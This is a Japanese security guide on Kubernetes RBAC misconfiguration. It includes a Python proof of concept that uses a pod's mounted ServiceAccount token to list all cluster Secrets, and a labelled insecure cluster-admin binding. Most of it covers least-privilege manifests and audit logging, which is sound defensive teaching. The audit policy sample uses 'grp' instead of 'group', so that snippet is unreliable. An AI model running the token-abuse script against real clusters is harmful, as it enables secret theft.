【実務・中級編】 Kubernetes RBACの過剰権限設定とServiceAccountの悪用 – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

おい、ちょっと手を止めてこっちを向いてくれ。

Kubernetes(K8s)の導入が進み、私たちのインフラは劇的なスピードと柔軟性を手に入れた。だが、その裏で「とりあえず動くようにする」という魔術的なデプロイが横行しているのを知っているか? 開発チームから「権限エラーでPodが落ちるんです」と言われ、面倒くさくなって cluster-admin や過剰な ClusterRoleBinding を雑に付与した経験、一度や二度ではないはずだ。

レッドチームの視点から言わせてもらえば、Kubernetesクラスターにおける過剰なRBAC(Role-Based Access Control)の設定ミスは、「玄関の鍵を開けっぱなしにした挙句、家中の合鍵をリビングのテーブルにばらまいている状態」に等しい。

今回は、攻撃者がどのようにしてその「合鍵」を拾い上げ、クラスタの制圧に至るのか。そして、それをどうやって水際で阻止するのか、現場のリアルな知見を交えて徹底的に解説しよう。

—

1. 攻撃者の視点:なぜKubernetes RBACが狙われるのか

ペネトレーションテストや実際のインシデントにおいて、私たちは外部から公開されたWebアプリケーションの脆弱性(RCEなど)を突いて、まずコンテナ(Pod)の内部へと侵入する。ここがすべての起点だ。

コンテナ内部に入った攻撃者が最初に行うルーチンワークを知っているか? それは、APIサーバーへの通信経路の確認と、そのPodに紐づく ServiceAccount(SA) のトークンとCA証明書の探索だ。

デフォルトでは、Kubernetesの各Podには自動的に ServiceAccount の認証トークンが以下のパスにマウントされる。

  • トークン: /var/run/secrets/kubernetes.io/serviceaccount/token
  • CA証明書: /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

もし、このPodに紐づく ServiceAccount に対して、不適切に広い権限(例: ClusterRoleBinding で cluster-admin が紐付けられている等)が与えられていたらどうなるか? 攻撃者はたった数行のスクリプトを実行するだけで、クラスタ内の全シークレットの窃取、任意のPodの作成(=ホストノードへの特権コンテナ展開)、果てはクラスタ全体の完全掌握(Control Planeの乗っ取り)を達成してしまうのだ。

—

2. 悪用のPoC(概念実証):過剰権限のServiceAccountによるクラスタ乗っ取り

百聞は一見に如かず。実際に攻撃者がどのようにAPIサーバーを叩いて権限昇格を行うのか、PythonスクリプトによるPoCを見てみよう。

このスクリプトは、コンテナ内に侵入した攻撃者が、マウントされたトークンを利用してKubernetes APIサーバーに直接リクエストを送り、クラスタ内のすべてのシークレット(DBのパスワードやAPIキーなど)を強奪するシナリオを想定している。

import os
import requests
import urllib3

# 自己署名証明書による警告を無視(内部通信では一般的)
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# Pod内にマウントされたServiceAccountの認証情報を読み込む
SA_PATH = "/var/run/secrets/kubernetes.io/serviceaccount"

def get_service_account_token():
    token_path = os.path.join(SA_PATH, "token")
    with open(token_path, "r") as f:
        return f.read().strip()

def exploit_kubernetes_rbac():
    # Kubernetesの内部APIサーバーのエンドポイント
    k8s_host = os.getenv("KUBERNETES_SERVICE_HOST", "kubernetes.default.svc")
    k8s_port = os.getenv("KUBERNETES_SERVICE_PORT", "443")
    api_url = f"https://{k8s_host}:{k8s_port}"
    
    token = get_service_account_token()
    
    headers = {
        "Authorization": f"Bearer {token}",
        "Accept": "application/json"
    }
    
    print(f"[*] Kubernetes APIサーバーへ接続中: {api_url}")
    
    # 権限確認: 全名前空間のSecretリストを取得してみる
    secrets_url = f"{api_url}/api/v1/secrets"
    
    response = requests.get(secrets_url, headers=headers, verify=os.path.join(SA_PATH, "ca.crt"))
    
    if response.status_code == 200:
        print("[+] 脆弱性を確認: このServiceAccountにはクラスタ全体のSecret読み取り権限があります!")
        secrets = response.json()
        for secret in secrets.get("items", []):
            namespace = secret["metadata"]["namespace"]
            name = secret["metadata"]["name"]
            print(f"  -> 取得成功: Namespace=[{namespace}], SecretName=[{name}]")
    else:
        print(f"[-] アクセス拒否または権限不足: ステータスコード {response.status_code}")
        print(response.text)

if __name__ == "__main__":
    exploit_kubernetes_rbac()

このスクリプトが動いてしまう環境は、セキュリティ監査において「即座に対応すべき重大な脆弱性(Critical)」と判定される。

—

3. なぜこの設定ミスが起きるのか?(アンチパターン)

現場でよく見かける最悪のパターンは、デプロイメントの利便性を優先するあまり、次のようなマニフェストを平然とデプロイしてしまうケースだ。

# 【絶対に真似してはいけない危険な設定例】
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: insecure-cluster-admin-binding
subjects:
- kind: ServiceAccount
  name: default
  namespace: default
roleRef:
  kind: ClusterRole
  name: cluster-admin # クラスタの全権限をdefaultサービスアカウントに付与している
  apiGroup: rbac.authorization.k8s.io

default 名前空間の default サービスアカウントは、何も指定しないかぎりすべてのPodに自動アタッチされる。つまり、この ClusterRoleBinding が存在するということは、そのクラスタ内で動くすべての「デフォルト設定のPod」が、実質的にクラスタの管理者権限を手に入れているのと同じなのだ。悪意あるリクエストが1つのWebコンテナに到達した瞬間、ゲームオーバーとなる。

—

4. 完全に防御するためのセキュアな設計と実装

では、このリスクをどう断ち切るべきか。答えはシンプルだ。「最小権限の原則(Principle of Least Privilege)」をKubernetesの隅々にまで適用すること。

① ServiceAccountの自動マウントを無効化する

アプリケーションがKubernetes APIを直接叩く必要がないのであれば、ServiceAccountのトークンをコンテナ内に自動マウントさせる必要は一切ない。Podの仕様(PodSpec)で automountServiceAccountToken: false を明示的に指定せよ。

以下に、セキュアなデプロイメントの設定サンプルを示す。

apiVersion: apps/v1
kind: Deployment
metadata:
  name: secure-web-app
  namespace: production
spec:
  replicas: 3
  selector:
    matchLabels:
      app: web-app
  template:
    metadata:
      labels:
        app: web-app
    spec:
      # 【重要】不要なServiceAccountトークンの自動マウントを完全に無効化する
      automountServiceAccountToken: false
      containers:
      - name: web
        image: my-secure-app:v1.0.0
        securityContext:
          allowPrivilegeEscalation: false  # 特権昇格を禁止
          readOnlyRootFilesystem: true     # ルートファイルシステムを読み取り専用に
          runAsNonRoot: true               # rootユーザーでの実行を禁止
          capabilities:
            drop:
            - ALL                          # すべてのLinux能力(Capabilities)を剥奪
        resources:
          limits:
            cpu: "500m"
            memory: "512Mi"
          requests:
            cpu: "100m"
            memory: "128Mi"

② APIアクセスが必要な場合の正しいRBAC設計

どうしてもPodからKubernetes APIを利用する必要がある場合(例:コントローラーや動的なリソース管理を行うアプリケーション)、以下のルールを厳守すること。

1. ClusterRoleBinding ではなく RoleBinding を使う: 権限は必要最小限の Namespace 内に限定する。
2. 専用の ServiceAccount を作成する: default サービスアカウントは絶対に使わない。
3. 動詞(Verbs)とリソース(Resources)を厳格に絞る: * を指定してはならない。

以下は、特定の名前空間内で特定のConfigMapの読み取りのみを許可するセキュアなRBACマニフェストのサンプルだ。

---
# 専用のServiceAccountを作成
apiVersion: v1
kind: ServiceAccount
metadata:
  name: app-config-reader
  namespace: production
---
# 最小限の権限を持つRoleを定義
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: production
  name: config-reader-role
rules:
- apiGroups: [""]
  resources: ["configmaps"]
  resourceNames: ["my-app-config"] # 特定のConfigMapだけにアクセスを絞る
  verbs: ["get"]                  # 取得(get)以外の権限は与えない
---
# RoleとServiceAccountを紐付ける(ClusterRoleBindingではない点に注意)
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: read-config-binding
  namespace: production
subjects:
- kind: ServiceAccount
  name: app-config-reader
  namespace: production
roleRef:
  kind: Role
  name: config-reader-role
  apiGroup: rbac.authorization.k8s.io

—

5. 異常検知:RBAC監査ログ(Audit Logs)の監視

どれだけ厳重に設定しても、ヒューマンエラーやゼロデイ脆弱性による侵入を100%防ぐことはできない。だからこそ、「侵入された前提」での検知体制が必要になる。

Kubernetesの監査ログ(Audit Log)を有効化し、以下のような異常な挙動をSIEMやLog Analyticsツールでリアルタイムにモニタリング・アラート設定しておこう。

  • 不審なAPIコールの検知: 通常のアプリケーション用ServiceAccountが、普段アクセスしないリソース(例: secrets, clusterroles)に対してリクエストを送信した瞬間。
  • 特権バインドの検知: cluster-admin ロールを紐付ける ClusterRoleBinding や RoleBinding が新規作成・変更された瞬間。

例えば、Kubernetesの監査ポリシー設定(Audit Policy)では、以下のようにセキュリティクリティカルな操作を RequestResponse レベルでログに記録するように設定すべきだ。

apiVersion: audit.k8s.io/v1
kind: Policy
rules:
  # SecretへのアクセスやRBACの変更は詳細に監査ログに残す
  - level: RequestResponse
    resources:
    - grp: ""
      resources: ["secrets"]
    - grp: "rbac.authorization.k8s.io"
      resources: ["clusterroles", "clusterrolebindings", "roles", "rolebindings"]
  
  # その他はメタデータのみを記録(パフォーマンス配慮)
  - level: Metadata
    omitStages:
      - RequestReceived

—

チーフエンジニアからのメッセージ

セキュリティは「面倒くさい」と感じた瞬間から崩壊が始まる。「動けばいいや」で作られたKubernetesマニフェストは、数ヶ月後に会社の信頼を吹き飛ばす時限爆弾に化ける。

今日から君たちのチームでも、デプロイパイプラインの中に kube-bench や Checkov、あるいは Trivy などのIaCスキャナーを組み込み、過剰な権限設定がマージされる前に自動で弾く仕組みを導入してほしい。自分のインフラを守れるのは、他の誰でもない、コードを書いている君たち自身なのだから。

コメント

タイトルとURLをコピーしました